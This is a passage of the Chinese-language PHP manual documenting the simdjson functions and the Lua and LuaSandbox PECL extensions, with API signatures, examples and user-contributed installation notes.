// (array -> array -> array -> string)
$json = json_encode(
[
1 => [
'English' => [
'One',
'January'
],
'French' => [
'Une',
'Janvier'
]
]
]
);

// Show the errors for different depths.
var_dump(simdjson_is_valid($json, 4));
var_dump(simdjson_is_valid($json, 3));
?>

以上示例会输出：

bool(true)
bool(false)

注释

Note:

The JSON spec is not JavaScript, but a subset of JavaScript.

Note:

In the event of a failure to decode, a SimdJsonException is thrown and SimdJsonException::getCode() and SimdJsonException::getMessage() can be used to determine the exact nature of the error.

参见

  • json_encode() - 对变量进行 JSON 编码
  • json_decode() - 对 JSON 格式的字符串进行解码

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a JSON pointer.

  • ? simdjson_is_valid
  • simdjson_key_exists ?
  • PHP Manual
  • Simdjson 函数
  • Returns the value at a JSON pointer.

simdjson_key_count

(PECL simdjson >= 2.0.0)

simdjson_key_count — Returns the value at a JSON pointer.

说明

simdjson_key_count(
string $json,
string $key,
int $depth = 512,
bool $throw_if_uncountable = false
): int

Count the number of elements of the object/array found at the requested JSON pointer.

参数

json

The json string being queried.

key

The JSON pointer string.

depth

Maximum nesting depth of the structure being validated. The value must be greater than 0, and less than or equal to 2147483647. Callers should use reasonably small values, because larger depths require more buffer space and will increase the recursion depth, unlike the current json_decode() implementation.

throw_if_uncountable

When true, a SimdJsonException will be thrown instead of returning 0 when the value the JSON pointer points to is neither an object nor an array.

返回值

Returns an int with the number of elements of the value at the given JSON pointer.

User Contributed Notes

There are no user contributed notes for this page.


Check if the JSON contains the value referred to by a JSON pointer.

  • ? simdjson_key_count
  • simdjson_key_value ?
  • PHP Manual
  • Simdjson 函数
  • Check if the JSON contains the value referred to by a JSON pointer.

simdjson_key_exists

(PECL simdjson >= 2.0.0)

simdjson_key_exists — Check if the JSON contains the value referred to by a JSON pointer.

说明

simdjson_key_exists(string $json, string $key, int $depth = ?): bool

Count the number of elements of the object/array found at the requested JSON pointer.

参数

json

The json string being queried.

key

The JSON pointer string.

depth

Maximum nesting depth of the structure being validated. The value must be greater than 0, and less than or equal to 2147483647. Callers should use reasonably small values, because larger depths require more buffer space and will increase the recursion depth, unlike the current json_decode() implementation.

throw_if_uncountable

When true, a SimdJsonException will be thrown instead of returning 0 when the value the JSON pointer points to is neither an object nor an array.

返回值

Returns true if the JSON pointer is valid and refers to a value found within a valid JSON string. Returns false if the JSON is valid but does not contain the JSON pointer.

User Contributed Notes

There are no user contributed notes for this page.


Decodes the value of a JSON string located at the requested JSON pointer.

  • ? simdjson_key_exists
  • SimdJsonException ?
  • PHP Manual
  • Simdjson 函数
  • Decodes the value of a JSON string located at the requested JSON pointer.

simdjson_key_value

(PECL simdjson >= 2.0.0)

simdjson_key_value — Decodes the value of a JSON string located at the requested JSON pointer.

说明

simdjson_key_value(
string $json,
string $key,
bool $associative = false,
int $depth = 512
): mixed

Decodes and returns the value found at the requested JSON pointer.

参数

json

The json string being queried and decoded.

This function only works with UTF-8 encoded strings.

This function parses valid inputs which json_decode() can decode, provided that they are less than 4 GiB long.

key

The JSON pointer string.

associative

When true, JSON objects will be returned as associative arrays; when false, JSON objects will be returned as objects.

depth

Maximum nesting depth of the structure being decoded. The value must be greater than 0, and less than or equal to 2147483647. Callers should use reasonably small values, because larger depths require more buffer space and will increase the recursion depth, unlike the current json_decode() implementation.

返回值

Returns the part of the value encoded in json that key refers to in appropriate PHP type. Values true, false and null are returned as true, false and null respectively.

错误／异常

If json or key is invalid, or key could not be found within json, a SimdJsonException is thrown as of PECL simdjson 2.1.0, while previously, a RuntimeException was thrown.

If depth is outside the allowed range, a SimdJsonValueError is thrown as of PECL simdjson 3.0.0, while previously, an error of level E_WARNING was raised.

参见

  • json_encode() - 对变量进行 JSON 编码
  • simdjson_decode() - Decodes a JSON string

User Contributed Notes

There are no user contributed notes for this page.


The SimdJsonException class

(PECL simdjson >= 2.1.0)

简介

Exception thrown if simdjson_decode(),
simdjson_key_count(),
simdjson_key_exists(),
or simdjson_key_value().

For possible values see the simdjson error codes constants.

类摘要

class SimdJsonException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
}

User Contributed Notes

There are no user contributed notes for this page.


The SimdJsonValueError class

(PECL simdjson >= 3.0.0)

简介

A SimdJsonValueError is thrown when the type of an argument to a function from simdjson is correct but the value of it is incorrect. E.g. when the JSON decoding $depth is not positive or the $depth is too large.

类摘要

class SimdJsonValueError extends ValueError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

更新日志

版本 | 说明
PHP 8.0.0 | SimdJsonValueError extends ValueError now instead of Error.

User Contributed Notes

There are no user contributed notes for this page.


Lua

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • Lua — Lua类
    • Lua::assign — 将一个php变量赋值给Lua
    • Lua::call — 调用Lua函数
    • Lua::__construct — Lua 构造方法
    • Lua::eval — 将字符串当做Lua代码执行
    • Lua::getVersion — 获取Lua版本
    • Lua::include — 解析Lua脚本文件
    • Lua::registerCallback — 向Lua中注册php函数
  • LuaClosure — LuaClosure类
    • LuaClosure::__invoke — 调用 luaclosure

User Contributed Notes

There are no user contributed notes for this page.


简介

"Lua是一个功能强大，速度快，轻量级，可嵌入的脚本语言。" 这个扩展嵌入Lua解释器，并对lua变量和函数提供面向对象的API。

User Contributed Notes

There are no user contributed notes for this page.


需求

使用这个扩展，需要先安装Lua» Lua主页。

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/lua.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

Anonymous 23-Aug-2020 08:25
pecl download lua
cd lua-2.0.7
phpize
./configure --with-lua-version=5.3
make
cp modules/lua.so /usr/lib/php/20151012/lua.so

add in PHP.INI:
extension=lua.so
dannosoAT.com 27-Jun-2016 01:27
This worked for my in php7

aptitude install php-pear
aptitude install php7-dev
aptitude reinstall lua5.2
aptitude reinstall liblua5.2-0
aptitude reinstall liblua5.2-dev

cp /usr/include/lua5.2/lua.h /usr/include
sudo ln -s /usr/include/lua*.*/ /usr/include/lua
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.a /usr/lib/liblua.a
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.so /usr/lib/liblua.so

sudo pecl install lua-2.0.2
rutgerspeksnijder at hotmail dot com 26-Oct-2015 01:07
Ignore my previous note, I forgot to add in where to use the PECL command to install phplua.

Installation on Ubuntu 14.04

"*.*" means version number

Packages to install (sudo apt-get install):
Install php5
Install php-pear
Install php5-dev
Install lua*.*
Install liblua*.*

Create soft link of /usr/include/lua TO /usr/include/lua*.*:
sudo ln -s /usr/include/lua*.*/ /usr/include/lua

Find liblua*.*.so and liblua*.*.a files in /usr/lib.
If they don't exist, they could be in /usr/lib/x86_64-linux-gnu or /usr/lib/i386-linux-gnu depending on OS.

Copy them from that directory into /usr/lib as liblua.so and liblua.a (WITHOUT VERSION NUMBER).

Example:
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.a /usr/lib/liblua.a

Now execute the following command (1.1.0 is the version at the time of writing this):
sudo pecl install lua-1.1.0

Add extension=lua.so to php.ini file (could be /etc/php5/(cli/apache)/php.ini)

Hope this helps.
posti at taitavasti dot fi 15-Apr-2013 01:29
Simple guide to install phplua on CentOS 6.3:

Run these commands in terminal as root:

$yum install php-pear php-devel gcc lua-devel lua-static
$mkdir /usr/include/lua
$ln -s /usr/include/lua.h /usr/include/lua/lua.h
$pecl install lua-1.0.0

Then edit /etc/php.ini and add the following line below the similar ones:
extension=lua.so

Finally restart your web server and you should be all done!

I spent days googling around, trying and failing and gathering up what needs to be installed when you just have apache2 and php5 installed and working.

Thus there is this bug preventing pecl from finding lua.h, which is fixed by the symlink created above. The bug is already submitted:

https://bugs.php.net/bug.php?id=60641

Hope this info helps some body else too!


Lua类

(PECL lua >=0.9.0)

简介

类摘要

class Lua {
/* 常量 */
const string LUA_VERSION = Lua 5.1.4;
/* 方法 */
public assign(string $name, string $value): mixed
public call(callable $lua_func, array $args = ?, int $use_self = 0): mixed
public __call(callable $lua_func, array $args = ?, int $use_self = 0): mixed
public __construct(string $lua_script_file = NULL)
public eval(string $statements): mixed
public getVersion(): string
public include(string $file): mixed
public registerCallback(string $name, callable $function): mixed
}

预定义常量

Lua::LUA_VERSION

Table of Contents

  • Lua::assign — 将一个php变量赋值给Lua
  • Lua::call — 调用Lua函数
  • Lua::__construct — Lua 构造方法
  • Lua::eval — 将字符串当做Lua代码执行
  • Lua::getVersion — 获取Lua版本
  • Lua::include — 解析Lua脚本文件
  • Lua::registerCallback — 向Lua中注册php函数

User Contributed Notes

There are no user contributed notes for this page.


将一个php变量赋值给Lua

  • ? Lua
  • Lua::call ?
  • PHP Manual
  • Lua
  • 将一个php变量赋值给Lua

Lua::assign

(PECL lua >=0.9.0)

Lua::assign — 将一个php变量赋值给Lua

说明

public Lua::assign(string $name, string $value): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

赋值成功返回$this否则返回null

示例

Example #1 Lua::assign()示例

<?php
$lua = new Lua();
$lua->assign("php_var", array(1=>1, 2, 3)); //lua table index begin with 1
$lua->eval(<<<CODE
 print(php_var);
CODE
);
?>

以上示例会输出：

Array
 (
     [1] => 1
     [2] => 2
     [3] => 3
 )

User Contributed Notes

There are no user contributed notes for this page.


调用Lua函数

  • ? Lua::assign
  • Lua::__construct ?
  • PHP Manual
  • Lua
  • 调用Lua函数

Lua::call

Lua::__call

(PECL lua >=0.9.0)

Lua::call -- Lua::__call — 调用Lua函数

说明

public Lua::call(callable $lua_func, array $args = ?, int $use_self = 0): mixed
public Lua::__call(callable $lua_func, array $args = ?, int $use_self = 0): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

lua_func

lua中的函数名。

args

向Lua函数传入的参数。

use_self

是否使用self。

返回值

返回调用函数的结果，参数错误返回null ，其它错误返回false。

示例

Example #1 Lua::call()示例

<?php
$lua = new Lua();
$lua->eval(<<<CODE
 function dummy(foo, bar)
print(foo, ",", bar)
end
CODE
);
$lua->call("dummy", array("Lua", "geiliable\n"));
$lua->dummy("Lua", "geiliable"); // __call()
var_dump($lua->call(array("table", "concat"), array(array(1=>1, 2=>2, 3=>3), "-")));
?>

以上示例会输出：

Lua,geiliable
Lua,geiliable
string(5) "1-2-3"

参见

  • __call()

User Contributed Notes

There are no user contributed notes for this page.


Lua 构造方法

  • ? Lua::call
  • Lua::eval ?
  • PHP Manual
  • Lua
  • Lua 构造方法

Lua::__construct

(PECL lua >=0.9.0)

Lua::__construct — Lua 构造方法

说明

public Lua::__construct(string $lua_script_file = NULL)

Warning

本函数还未编写文档，仅有参数列表。

参数

lua_script_file

返回值

User Contributed Notes

There are no user contributed notes for this page.


将字符串当做Lua代码执行

  • ? Lua::__construct
  • Lua::getVersion ?
  • PHP Manual
  • Lua
  • 将字符串当做Lua代码执行

Lua::eval

(PECL lua >=0.9.0)

Lua::eval — 将字符串当做Lua代码执行

说明

public Lua::eval(string $statements): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

statements

返回值

返回运行结果，参数错误返回null ，其它错误返回false。

示例

Example #1 Lua::eval()示例

<?php
$lua = new Lua();
$lua->eval(<<<CODE
 print(2);
CODE
);
?>

以上示例会输出：

2

User Contributed Notes

There are no user contributed notes for this page.


获取Lua版本

  • ? Lua::eval
  • Lua::include ?
  • PHP Manual
  • Lua
  • 获取Lua版本

Lua::getVersion

(PECL lua >=0.9.0)

Lua::getVersion — 获取Lua版本

说明

public Lua::getVersion(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回 Lua::LUA_VERSION。

User Contributed Notes

There are no user contributed notes for this page.


解析Lua脚本文件

  • ? Lua::getVersion
  • Lua::registerCallback ?
  • PHP Manual
  • Lua
  • 解析Lua脚本文件

Lua::include

(PECL lua >=0.9.0)

Lua::include — 解析Lua脚本文件

说明

public Lua::include(string $file): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

file

返回值

返回脚本文件运行结果，参数错误返回null ，其它错误返回false。

User Contributed Notes

There are no user contributed notes for this page.


向Lua中注册php函数

  • ? Lua::include
  • LuaClosure ?
  • PHP Manual
  • Lua
  • 向Lua中注册php函数

Lua::registerCallback

(No version information available, might only be in Git)

Lua::registerCallback — 向Lua中注册php函数

说明

public Lua::registerCallback(string $name, callable $function): mixed

向Lua注册php函数，函数名为"$name"

参数

name

function

一个有效的PHP回调函数

返回值

成功返回$this，参数错误返回null ，其它错误返回false。

示例

Example #1 Lua::registerCallback()示例

<?php
$lua = new Lua();
$lua->registerCallback("echo", "var_dump");
$lua->eval(<<<CODE
 echo({1, 2, 3});
CODE
);
?>

以上示例会输出：

array(3) {
  [1]=>
  float(1)
  [2]=>
  float(2)
  [3]=>
  float(3)
}

User Contributed Notes

turn_and_turn at sina dot com 31-Jan-2020 12:10
// init lua
$lua = new Lua();

/**
* Hello world method
*/
function helloWorld()
{
    return "hello world";
}

// register our hello world method
$lua->registerCallback("helloWorld", helloWorld);
$lua->eval("
    -- call php method
    local retVal = helloWorld()

    print(retVal)
");

// register our hello world method but using an other name
$lua->registerCallback("worldHello", helloWorld);

// run our lua script
$lua->eval("
    -- call php method
    local retVal = worldHello()

    print(retVal)
");


LuaClosure类

(PECL lua >=0.9.0)

简介

LuaClosure是对LUA_TFUNCTION的封装类，可以作为调用Lua函数的返回值。

类摘要

class LuaClosure {
/* 方法 */
public __invoke(mixed ...$args): void
}

Table of Contents

  • LuaClosure::__invoke — 调用 luaclosure

User Contributed Notes

There are no user contributed notes for this page.


调用 luaclosure

  • ? LuaClosure
  • LuaSandbox ?
  • PHP Manual
  • LuaClosure
  • 调用 luaclosure

LuaClosure::__invoke

(PECL lua >=0.9.0)

LuaClosure::__invoke — 调用 luaclosure

说明

public LuaClosure::__invoke(mixed ...$args): void

Warning

本函数还未编写文档，仅有参数列表。

参数

args

返回值

示例

Example #1 LuaClosure::__invoke()示例

<?php
$lua = new Lua();
$closure = $lua->eval(<<<CODE
 return (function ()
print("hello world")
end)
CODE
);

$lua->call($closure);
$closure();
?>

以上示例会输出：

hello worldhello world

User Contributed Notes

There are no user contributed notes for this page.


LuaSandbox

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • Differences from Standard Lua
  • 示例
    • Basic usage for LuaSandbox
  • LuaSandbox — The LuaSandbox class
    • LuaSandbox::callFunction — Call a function in a Lua global variable
    • LuaSandbox::disableProfiler — Disable the profiler
    • LuaSandbox::enableProfiler — Enable the profiler.
    • LuaSandbox::getCPUUsage — Fetch the current CPU time usage of the Lua environment
    • LuaSandbox::getMemoryUsage — Fetch the current memory usage of the Lua environment
    • LuaSandbox::getPeakMemoryUsage — Fetch the peak memory usage of the Lua environment
    • LuaSandbox::getProfilerFunctionReport — Fetch profiler data
    • LuaSandbox::getVersionInfo — Return the versions of LuaSandbox and Lua
    • LuaSandbox::loadBinary — Load a precompiled binary chunk into the Lua environment
    • LuaSandbox::loadString — Load Lua code into the Lua environment
    • LuaSandbox::pauseUsageTimer — Pause the CPU usage timer
    • LuaSandbox::registerLibrary — Register a set of PHP functions as a Lua library
    • LuaSandbox::setCPULimit — Set the CPU time limit for the Lua environment
    • LuaSandbox::setMemoryLimit — Set the memory limit for the Lua environment
    • LuaSandbox::unpauseUsageTimer — Unpause the timer paused by LuaSandbox::pauseUsageTimer
    • LuaSandbox::wrapPhpFunction — Wrap a PHP callable in a LuaSandboxFunction
  • LuaSandboxFunction — The LuaSandboxFunction class
    • LuaSandboxFunction::call — Call a Lua function
    • LuaSandboxFunction::__construct — Unused
    • LuaSandboxFunction::dump — Dump the function as a binary blob
  • LuaSandboxError — The LuaSandboxError class
  • LuaSandboxErrorError — The LuaSandboxErrorError class
  • LuaSandboxFatalError — The LuaSandboxFatalError class
  • LuaSandboxMemoryError — The LuaSandboxMemoryError class
  • LuaSandboxRuntimeError — The LuaSandboxRuntimeError class
  • LuaSandboxSyntaxError — The LuaSandboxSyntaxError class
  • LuaSandboxTimeoutError — The LuaSandboxTimeoutError class

User Contributed Notes

There are no user contributed notes for this page.


简介

LuaSandbox is an extension for PHP 7 and PHP 8 to allow safely running untrusted Lua 5.1 code from within PHP.

Differences compared to the Lua extension:

  • LuaSandbox has support for time and memory limits.

  • LuaSandbox provides a default-safe environment for running untrusted code. Stock Lua functions were reviewed for security, and several were patched accordingly.

  • LuaSandbox has a PHP interface which is more complex, precise and powerful, but it is less convenient for developers.

  • LuaSandbox supports only Lua 5.1. It is difficult to change this, because LuaSandbox uses heavily modified Lua standard libraries, and due to the lack of backwards compatibility between major Lua versions. LuaSandbox aims to maximise backwards compatibility with user-supplied scripts.

User Contributed Notes

There are no user contributed notes for this page.


需求

To use this extension, Lua 5.1 will need to be installed, available on the » Lua homepage.

To make full use of the timer features, LuaSandbox should be installed on Linux.

If FreeBSD or Mac OS X is used, only real (wall-clock) time is supported, the functions purporting to return CPU time will actually return wall clock time.

If Windows is used, no timer functions will be supported. The time limits will be inoperable.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/luasandbox.

If the operating system is Debian 10 or later, or Ubuntu 18.04 or later, then LuaSandbox should typically be installed from the package php-luasandbox:

sudo apt-get install php-luasandbox

User Contributed Notes

There are no user contributed notes for this page.


Differences from Standard Lua

LuaSandbox provides a sandboxed environment which differs in some ways from standard Lua 5.1.

Features that are not available

  • dofile(), loadfile(), and the io package, as they allow direct filesystem access. If needed, filesystem access should be done via PHP callbacks.

  • The package package, including require() and module(), as it depends heavily on direct filesystem access. A pure-Lua rewrite such as that used in the MediaWiki Scribunto extension may be used instead.

  • load() and loadstring(), to allow for static analysis of Lua code.

  • print(), since it outputs to standard output. If needed, output should be done via PHP callbacks.

  • Most of the os package, as it allows manipulation of the process and executing of other processes.

    • os.clock(), os.date(), os.difftime(), and os.time() remain available.

  • Most of the debug package, as it allows manipulation of Lua state and metadata in ways that can break sandboxing.

    • debug.traceback() remains available.

  • string.dump(), as it may expose internal data.

  • collectgarbage(), gcinfo(), and the coroutine package have not been reviewed for security.

Features that have been modified

  • pcall() and xpcall() cannot catch certain errors, particularly timeout errors.

  • tostring() does not include pointer addresses.

  • string.match() has been patched to limit the recursion depth and to periodically check for a timeout.

  • math.random() and math.randomseed() are replaced with versions that don't share state with PHP's rand().

  • The Lua 5.2 __pairs and __ipairs metamethods are supported by pairs() and ipairs().

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Basic usage for LuaSandbox

User Contributed Notes

There are no user contributed notes for this page.


Basic usage for LuaSandbox

Once you've compiled PHP with LuaSandbox support, you can begin using LuaSandbox to safely run user-provided Lua code.

Example #1 Execute some Lua code

<?php

$sandbox = new LuaSandbox;
$sandbox->setMemoryLimit( 50 * 1024 * 1024 );
$sandbox->setCPULimit( 10 );

// Register some functions in the Lua environment

function frobnosticate( $v ) {
return [ $v + 42 ];
}

$sandbox->registerLibrary( 'php', [
'frobnosticate' => 'frobnosticate',
'output' => function ( $string ) {
echo "$string\n";
},
'error' => function () {
throw new LuaSandboxRuntimeError( "Something is wrong" );
}
] );

// Execute some Lua code, including callbacks into PHP and into Lua

$luaCode = <<<EOF
php.output( "Hello, world" );

return "Hi", function ( v )
return php.frobnosticate( v + 200 )
end
EOF;

list( $hi, $frob ) = $sandbox->loadString( $luaCode )->call();
assert( $frob->call( 4000 ) === [ 4242 ] );

// PHP-thrown LuaSandboxRuntimeError exceptions can be caught inside Lua

list( $ok, $message ) = $sandbox->loadString( 'return pcall( php.error )' )->call();
assert( !$ok );
assert( $message === 'Something is wrong' );

?>

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandbox class

(PECL luasandbox >= 1.0.0)

简介

The LuaSandbox class creates a Lua environment and allows for execution of Lua code.

类摘要

class LuaSandbox {
/* 常量 */
const int SAMPLES = 0;
const int SECONDS = 1;
const int PERCENT = 2;
/* 方法 */
public callFunction(string $name, mixed ...$args): array|bool
public disableProfiler(): void
public enableProfiler(float $period = 0.02): bool
public getCPUUsage(): float
public getMemoryUsage(): int
public getPeakMemoryUsage(): int
public getProfilerFunctionReport(int $units = LuaSandbox::SECONDS): array
public static getVersionInfo(): array
public loadBinary(string $code, string $chunkName = ''): LuaSandboxFunction
public loadString(string $code, string $chunkName = ''): LuaSandboxFunction
public pauseUsageTimer(): bool
public registerLibrary(string $libname, array $functions): void
public setCPULimit(float|bool $limit): void
public setMemoryLimit(int $limit): void
public unpauseUsageTimer(): void
public wrapPhpFunction(callable $function): LuaSandboxFunction
}

预定义常量

LuaSandbox::SAMPLES

Used with LuaSandbox::getProfilerFunctionReport() to return timings in samples.

LuaSandbox::SECONDS

Used with LuaSandbox::getProfilerFunctionReport() to return timings in seconds.

LuaSandbox::PERCENT

Used with LuaSandbox::getProfilerFunctionReport() to return timings in percentages of the total.

Table of Contents

  • LuaSandbox::callFunction — Call a function in a Lua global variable
  • LuaSandbox::disableProfiler — Disable the profiler
  • LuaSandbox::enableProfiler — Enable the profiler.
  • LuaSandbox::getCPUUsage — Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::getMemoryUsage — Fetch the current memory usage of the Lua environment
  • LuaSandbox::getPeakMemoryUsage — Fetch the peak memory usage of the Lua environment
  • LuaSandbox::getProfilerFunctionReport — Fetch profiler data
  • LuaSandbox::getVersionInfo — Return the versions of LuaSandbox and Lua
  • LuaSandbox::loadBinary — Load a precompiled binary chunk into the Lua environment
  • LuaSandbox::loadString — Load Lua code into the Lua environment
  • LuaSandbox::pauseUsageTimer — Pause the CPU usage timer
  • LuaSandbox::registerLibrary — Register a set of PHP functions as a Lua library
  • LuaSandbox::setCPULimit — Set the CPU time limit for the Lua environment
  • LuaSandbox::setMemoryLimit — Set the memory limit for the Lua environment
  • LuaSandbox::unpauseUsageTimer — Unpause the timer paused by LuaSandbox::pauseUsageTimer
  • LuaSandbox::wrapPhpFunction — Wrap a PHP callable in a LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Call a function in a Lua global variable

  • ? LuaSandbox
  • LuaSandbox::disableProfiler ?
  • PHP Manual
  • LuaSandbox
  • Call a function in a Lua global variable

LuaSandbox::callFunction

(PECL luasandbox >= 1.0.0)

LuaSandbox::callFunction — Call a function in a Lua global variable

说明

public LuaSandbox::callFunction(string $name, mixed ...$args): array|bool

Calls a function in a Lua global variable.

If the name contains "." characters, the function is located via recursive table accesses, as if the name were a Lua expression.

If the variable does not exist, or is not a function, false will be returned and a warning issued.

For more information about calling Lua functions and the return values, see LuaSandboxFunction::call().

参数

name

Lua variable name.

args

Arguments to the function.

返回值

Returns an array of values returned by the Lua function, which may be empty, 或者在失败时返回 false.

示例

Example #1 Calling a Lua function

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Call Lua's string.match
$captures = $sandbox->callFunction( 'string.match', $string, $pattern );

?>

User Contributed Notes

There are no user contributed notes for this page.


Disable the profiler

  • ? LuaSandbox::callFunction
  • LuaSandbox::enableProfiler ?
  • PHP Manual
  • LuaSandbox
  • Disable the profiler

LuaSandbox::disableProfiler

(PECL luasandbox >= 1.1.0)

LuaSandbox::disableProfiler — Disable the profiler

说明

public LuaSandbox::disableProfiler(): void

Disables the profiler.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • LuaSandbox::enableProfiler() - Enable the profiler.
  • LuaSandbox::getProfilerFunctionReport() - Fetch profiler data

User Contributed Notes

There are no user contributed notes for this page.


Enable the profiler.

  • ? LuaSandbox::disableProfiler
  • LuaSandbox::getCPUUsage ?
  • PHP Manual
  • LuaSandbox
  • Enable the profiler.

LuaSandbox::enableProfiler

(PECL luasandbox >= 1.1.0)

LuaSandbox::enableProfiler — Enable the profiler.

说明

public LuaSandbox::enableProfiler(float $period = 0.02): bool

Enables the profiler. Profiling will begin when Lua code is entered.

The profiler periodically samples the Lua environment to record the running function. Testing indicates that at least on Linux, setting a period less than 1ms will lead to a high overrun count but no performance problems.

参数

period

Sampling period in seconds.

返回值

Returns a boolean indicating whether the profiler is enabled.

参见

  • LuaSandbox::disableProfiler() - Disable the profiler
  • LuaSandbox::getProfilerFunctionReport() - Fetch profiler data

User Contributed Notes

There are no user contributed notes for this page.


Fetch the current CPU time usage of the Lua environment

  • ? LuaSandbox::enableProfiler
  • LuaSandbox::getMemoryUsage ?
  • PHP Manual
  • LuaSandbox
  • Fetch the current CPU time usage of the Lua environment

LuaSandbox::getCPUUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getCPUUsage — Fetch the current CPU time usage of the Lua environment

说明

public LuaSandbox::getCPUUsage(): float

Fetches the current CPU time usage of the Lua environment.

This includes time spent in PHP callbacks.

参数

此函数没有参数。

返回值

Returns the current CPU time usage in seconds.

Note:

On Windows, this function always returns zero. On operating systems that do not support CLOCK_THREAD_CPUTIME_ID, such as FreeBSD and Mac OS X, this function will return the elapsed wall-clock time, not CPU time.

参见

  • LuaSandbox::getMemoryUsage() - Fetch the current memory usage of the Lua environment
  • LuaSandbox::getPeakMemoryUsage() - Fetch the peak memory usage of the Lua environment
  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Fetch the current memory usage of the Lua environment

  • ? LuaSandbox::getCPUUsage
  • LuaSandbox::getPeakMemoryUsage ?
  • PHP Manual
  • LuaSandbox
  • Fetch the current memory usage of the Lua environment

LuaSandbox::getMemoryUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getMemoryUsage — Fetch the current memory usage of the Lua environment

说明

public LuaSandbox::getMemoryUsage(): int

Fetches the current memory usage of the Lua environment.

参数

此函数没有参数。

返回值

Returns the current memory usage in bytes.

参见

  • LuaSandbox::getPeakMemoryUsage() - Fetch the peak memory usage of the Lua environment
  • LuaSandbox::getCPUUsage() - Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::setMemoryLimit() - Set the memory limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Fetch the peak memory usage of the Lua environment

  • ? LuaSandbox::getMemoryUsage
  • LuaSandbox::getProfilerFunctionReport ?
  • PHP Manual
  • LuaSandbox
  • Fetch the peak memory usage of the Lua environment

LuaSandbox::getPeakMemoryUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getPeakMemoryUsage — Fetch the peak memory usage of the Lua environment

说明

public LuaSandbox::getPeakMemoryUsage(): int

Fetches the peak memory usage of the Lua environment.

参数

此函数没有参数。

返回值

Returns the peak memory usage in bytes.

参见

  • LuaSandbox::getMemoryUsage() - Fetch the current memory usage of the Lua environment
  • LuaSandbox::getCPUUsage() - Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::setMemoryLimit() - Set the memory limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Fetch profiler data

  • ? LuaSandbox::getPeakMemoryUsage
  • LuaSandbox::getVersionInfo ?
  • PHP Manual
  • LuaSandbox
  • Fetch profiler data

LuaSandbox::getProfilerFunctionReport

(PECL luasandbox >= 1.1.0)

LuaSandbox::getProfilerFunctionReport — Fetch profiler data

说明

public LuaSandbox::getProfilerFunctionReport(int $units = LuaSandbox::SECONDS): array

For a profiling instance previously started by LuaSandbox::enableProfiler(), get a report of the cost of each function.

The measurement unit used for the cost is determined by the $units parameter:

LuaSandbox::SAMPLES

Measure in number of samples.

LuaSandbox::SECONDS

Measure in seconds of CPU time.

LuaSandbox::PERCENT

Measure percentage of CPU time.

参数

units

Measurement unit constant.

返回值

Returns profiler measurements, sorted in descending order, as an associative array. Keys are the Lua function names (with source file and line defined in angle brackets), values are the measurements as int or float.

Note:

On Windows, this function always returns an empty array. On operating systems that do not support CLOCK_THREAD_CPUTIME_ID, such as FreeBSD and Mac OS X, this function will report the elapsed wall-clock time, not CPU time.

示例

Example #1 Profiling Lua code

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Start the profiler
$sandbox->enableProfiler( 0.01 );

// ... Execute some Lua code here ...

// Fetch the profiler data
$data = $sandbox->getProfilerFunctionReport();

?>

User Contributed Notes

There are no user contributed notes for this page.


Return the versions of LuaSandbox and Lua

  • ? LuaSandbox::getProfilerFunctionReport
  • LuaSandbox::loadBinary ?
  • PHP Manual
  • LuaSandbox
  • Return the versions of LuaSandbox and Lua

LuaSandbox::getVersionInfo

(PECL luasandbox >= 1.6.0)

LuaSandbox::getVersionInfo — Return the versions of LuaSandbox and Lua

说明

public static LuaSandbox::getVersionInfo(): array

Returns the versions of LuaSandbox and Lua.

参数

此函数没有参数。

返回值

Returns an array with two keys:

element | type | description
LuaSandbox | string | The version of the LuaSandbox extension.
Lua | string | The library name and version as defined by the LUA_RELEASE macro, for example, "Lua 5.1.5".

User Contributed Notes

There are no user contributed notes for this page.


Load a precompiled binary chunk into the Lua environment

  • ? LuaSandbox::getVersionInfo
  • LuaSandbox::loadString ?
  • PHP Manual
  • LuaSandbox
